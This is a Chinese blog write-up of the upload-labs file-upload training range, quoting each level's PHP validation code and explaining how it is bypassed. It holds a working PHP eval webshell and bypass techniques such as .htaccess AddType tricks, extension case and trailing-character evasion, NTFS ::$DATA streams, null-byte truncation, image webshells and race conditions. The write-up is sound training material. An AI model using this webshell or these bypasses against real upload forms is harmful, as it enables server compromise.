DGZ's Blog.

Upload-labs (看缘分填坑)

Word count: 5.5kReading time: 24 min
2020/05/14 Share

主要参考:https://www.jianshu.com/p/aabc1e7408d5

Pass-01

一开始无论怎么样都抓不到包,醉了

试了半天,后面发现上传jpg后缀的文件,就可以抓到包,这应该是前端的js代码原因,如果不是图片文件就不让你上传,数据传不到后端也就抓不到包

险恶噢,但是没用,我可以直接禁用掉!

发现删除掉checkfile函数不太管用,于是我直接在网页设置里禁用掉js

然后就可以上传了,F12查看图片路径在哪,蚁剑顺利连上。

当然也可以直接上传jpg文件,在burp里面改成php后缀再上传,flag在根目录下:

flag{348703be-a0d6-4284-af8c-8c936115c5d1}

Pass-02

上传php文件一句话木马文件,修改Content-type为image/jpeg

Pass-03

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

上传php一句话木马文件,显示如下

上传一个php5后缀的文件

可以上传,但是蚁剑连不上

后面改成了phtml,可以直接上传getshell

如果正常做题的话要fuzz一下,看看是否有可以绕过的后缀

YQ7W9A.png

这里应该是和服务器的配置有关

查看网上的wp,很多都是搭在本地的,然后修改了apache的httpd.conf AddType application/x-httpd-php .php .phtml .phps .php5 .pht

查看本地的httpd.conf 增加以上后缀,看到未修改的wamp中的apache可以解析php、php3

我寻思您日站的时候服务器配置也不可以随便修改的吧…这样修改本地文件实现的上传有什么用…

所以我觉得还是fuzz实在点!找到本地的文件上传fuzz字典,

但是无法用蚁剑连接,不能解析

YQH6K0.png

所以不能一步搞到哪个能getshell

我决定研究一下脚本!

(大坑)

另外的方法:

此处代码审计一下:

1
2
3
4
5
6
7
$deny_ext = array('.asp','.aspx','.php','.jsp'); //黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

对相关函数备注一下:

PHP $_FILES函数

https://www.cnblogs.com/laijinquan/p/8682282.html

对于此类上传类型的网站,当客户端提交后,后端就可以获得了一个$_FILES数组

$_FILES数组内容如下:

$_FILES['myFile']['name']客户端文件的原名称。

$_FILES['myFile']['type']文件的 MIME 类型,需要浏览器提供该信息的支持,例如”image/gif”。

$_FILES['myFile']['size']已上传文件的大小,单位为字节。

$_FILES['myFile']['tmp_name']文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但用 putenv() 函数设置是不起作用的。

$_FILES['myFile']['error'] 和该文件上传相关的错误代码。[‘error’] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

UPLOAD_ERR_OK
值:0; 没有错误发生,文件上传成功。

UPLOAD_ERR_INI_SIZE
值:1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。

UPLOAD_ERR_FORM_SIZE
值:2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。

UPLOAD_ERR_PARTIAL
值:3; 文件只有部分被上传。

UPLOAD_ERR_NO_FILE
值:4; 没有文件被上传。
值:5; 上传文件大小为0

文件被上传结束后,默认地被存储在了临时目录中,这时您必须将它从临时目录中删除或移动到其它地方,如果没有,则会被删除。也就是不管是否上传成功,脚本执行完后临时目录里的文件肯定会被删除。所以在删除之前将它复制或移动到其它位置,此时才算完成了上传文件过程。

PHP trim函数

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

trim(string,charlist)

string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符(自己定义一个列表)。如果被省略,则移除以下所有字符:”\0” - NULL”\t” - 制表符”\n” - 换行”\x0B” - 垂直制表符”\r” - 回车” “ - 空格

因此本题中trim函数只是删除了几个默认的符号

PHP strrchr函数

strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。

也就是$file_ext = strrchr($file_name, '.');只返回了最后一个点出现的位置及其后的字符

PHP deldot函数

删除结尾的点号

PHP str_ireplace()函数

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。

str_ireplace(find,replace,string,count)

find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

因此本题中$file_ext = str_ireplace('::$DATA', '', $file_ext);的作用是搜索$file_ext将其中的::$DATA去掉

之后

1
2
3
4
5
6
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
}

将我们上传的这个文件定义为$temp_file,然后生成一个路径,将这个文件move到这个路径下,完成上传。

讲完了我们回到正题:

此处不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有如下配置代码

1
AddType application/x-httpd-php .php .phtml .phps .php5 .pht

将后缀.php .phtml .phps .php5 .pht的文件解析为php文件

AddType 指令
作用:在给定的文件扩展名与特定的内容类型之间建立映射
语法:AddType MIME-type extension [extension] …
AddType指令在给定的文件扩展名与特定的内容类型之间建立映射关系。MIME-type指明了包含extension扩展名的文件的媒体类型。
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系。

此处黑名单没有过滤.htaccess后缀,故此处也可上传.htaccess文件进行绕过。

注: .htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All(备注一下虽然不知道这些模块怎么知道)

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在httpd.conf文件中配置。

构造.htaccess文件,内容如下:AddType application/x-httpd-php .jpg
这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析,因此达到了可执行的效果。所以我们可以把要上传的php文件的后缀名改为.jpg格式从而绕过

然而实测不行,我觉得是因为上传文件后在.htaccess文件前加入一数字字符串

YlCDTs.png

导致无法解析.htaccess文件

所以还是老老实实上传绕过后缀限制的文件

Pass-04

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这个黑名单长了很多,但是可以注意到,没有过滤.htaccess,而且没有在文件名前加一大串数字

那我们就按照03的上传一下.htaccess文件

内容如下:AddType application/x-httpd-php .jpg

再上传jpg文件,可以用蚁剑顺利连上

其中虎符杯有道题,过滤对文件内容的php也过滤了,这时我们可以构造

1
2
`AddType application/x-httpd-ph
p .jpg`

回车换行也可以解析

Pass-05

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

虽然过滤了一堆,而且还过滤了.htaccess,但是对比于pass-04,最大的区别就是没有

1
$file_ext = strtolower($file_ext); //转换为小写

把后缀字母变成小写,所以这里可以用大小写绕过黑名单上传

当phP文件内容是

1
<?php phpinfo(); ?>

YQHHr6.png

自然蚁剑也是可以连接的

1
<?php @eval($_POST['123456']);?>

!YQbPqf.png

Pass-06 空格绕过(gg)

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

相比于上面两个题,这里最大的区别是没有去掉末尾的空格的这句代码

1
$file_ext = trim($file_ext); //首尾去空

所以此处可以利用windows系统的命名规则进行绕过

Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点
此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个.php[空格]文件即可

所以这里修改文件后缀为1.php .这种形式,从代码执行流程分析来看,会先去除文件名末尾的.,去除之后的文件后缀是 .php[空格],利用.php[空格]绕过黑名单,然后利用windows的文件命名规则默认除去空格和.,达到上传.php的目的。

由于在本地windows系统无法新建这类型文件,要在burp操作

YlA8R1.png

发现gg

YlALeU.png

暂未解决

Pass-07

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里是去掉了空格,但是没有去掉点

我们利用pass-06提到的,修改文件后缀为php.[空格]

YlEWX6.png

image-20200509170429645

Pass-08 ::$DATA绕过(gg)

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

本题与上面最大的区别是没有了这一句代码

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

这里还是利用windows的一个特性。

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA

简单讲就是在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名。

所以直接上传文件8.php::$DATA

本地创建文件,文件名不能带冒号,用burp

Ylm94e.png

去掉最后的::$data,然而又gg???

Ylm8uq.png

重启一下靶场,发现还是不行,于是我查到还可以利用Apache解析漏洞来绕过

我们让文件名为8.php.hkjfa.uieqweq

上传

Pass-09 点空格点绕过(gg)

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

让文件名为9.php. .但是还是gg的,无法getshell

而且我发现$file_ext = strrchr($file_name, '.');是在去掉第一个点之后,我们这里的$file_ext不应该是一个点加一个空格吗,为什么还是.php.[空格]

醉了醉了

Pass-10 双写绕过

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

这里代码没有了之前关卡里的去除文件尾点、空格、::$DATA的操作,估计是针对非Windows系统的。

而这里存在的问题是,利用str_ireplace对黑名单里的文件后缀名进行了替换,换成空字符。

使用了str_ireplace函数,即不区分大小写,故大小写绕过不适用。

但是这里是替换成了空字符,于是我们可以双写后缀名,如.pphphp,使得替换后的后缀名为php。

所以我们利用令文件名为10.pphphp

很顺利地用蚁剑连上

Pass-11 00截断

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

可以发现,这里与之前代码相比,使用了白名单,只允许上传,jpg,png,gif三种格式文件。

但是在进行move_uploaded_file前。利用$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

GET传参,导致服务器最终存储的文件名可控。故可以利用这个点进行绕过。

这里利用的是00截断。即move_uploaded_file函数的底层实现类似于C语言,遇到0x00会截断

截断条件:
1、php版本小于5.3.4
2、php.ini的magic_quotes_gpc为OFF状态

试试看

似乎gg了

Ylr5tO.png

Pass-12 00截断

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}

这里代码与上面Pass-11代码类似,不过是save_path参数由GET传入变为POST传入,利用原理也是00截断。

Pass-13-15 图片马

根据文件包含漏洞

url为:http://46a89daf-08f4-49df-9574-b267503a8b85.node3.buuoj.cn/include.php

Y1EAUg.png

生成图片马,cmd中输入

1
copy 3.jpg /b + 9.php /a 13.jpg

Y1E5dS.png

其中url是:http://46a89daf-08f4-49df-9574-b267503a8b85.node3.buuoj.cn/include.php?file=upload/8420200509144730.jpg

Y1VQSA.png

而第14题,主要是getimagesize()函数

第15题,主要是exif_imagetype()函数

都可以利用我用一个真实图片生成的图片马getshell

Pass-16 二次渲染绕过

醉了连php文件都运行不了…

Pass-17-18 条件竞争

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

其中move_uploaded_file()是php自带的函数

move_uploaded_file() 函数将上传的文件移动到新位置。

若成功,则返回 true,否则返回 false。

语法:move_uploaded_file(file,newloc)

对于if(move_uploaded_file($temp_file, $upload_file))这个判断语句,是先将文件上传到upload/文件名这个路径上,然后再进行接下来的判断,而接下来的一个判断是判断文件后缀是否在白名单内,是的话重命名文件,如果不是则删除这个上传的文件。

unlink()也是php自带的函数

unlink() 函数删除文件。

若成功,则返回 true,失败则返回 false。

语法:unlink(filename,context) 其中context可有可无

所以如果我们在上传了这个文件之后且在文件被删除之前,解析了这个php的webshell,那我们就可以getshell了

利用bp不断上传这个php和不断请求访问这个php文件的路径

参考这个大哥:https://www.zhaosimeng.cn/writeup/74.html

YQbZGj.pngimage-20200417232249715

后面发现一些问题,爆不出200,且蚁剑连不上

Pass-19 ./绕过

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

发现考点是:move_uploaded_file会忽略掉文件末尾的/.
所以可以构造save_name=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

  1. post: save_name = 1.php%00.jpg
  2. post: save_name = 1.php/.

Y1QcRO.png

Pass-20 数组./绕过(未)

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

然而就算这里有20题之多,实际ctf遇到的花样还是很多,学不完了噢

CATALOG
  1. 1. Pass-01
  2. 2. Pass-02
  3. 3. Pass-03
  4. 4. Pass-04
  5. 5. Pass-05
  6. 6. Pass-06 空格绕过(gg)
  7. 7. Pass-07
  8. 8. Pass-08 ::$DATA绕过(gg)
  9. 9. Pass-09 点空格点绕过(gg)
  10. 10. Pass-10 双写绕过
  11. 11. Pass-11 00截断
  12. 12. Pass-12 00截断
  13. 13. Pass-13-15 图片马
  14. 14. Pass-16 二次渲染绕过
  15. 15. Pass-17-18 条件竞争
  16. 16. Pass-19 ./绕过
  17. 17. Pass-20 数组./绕过(未)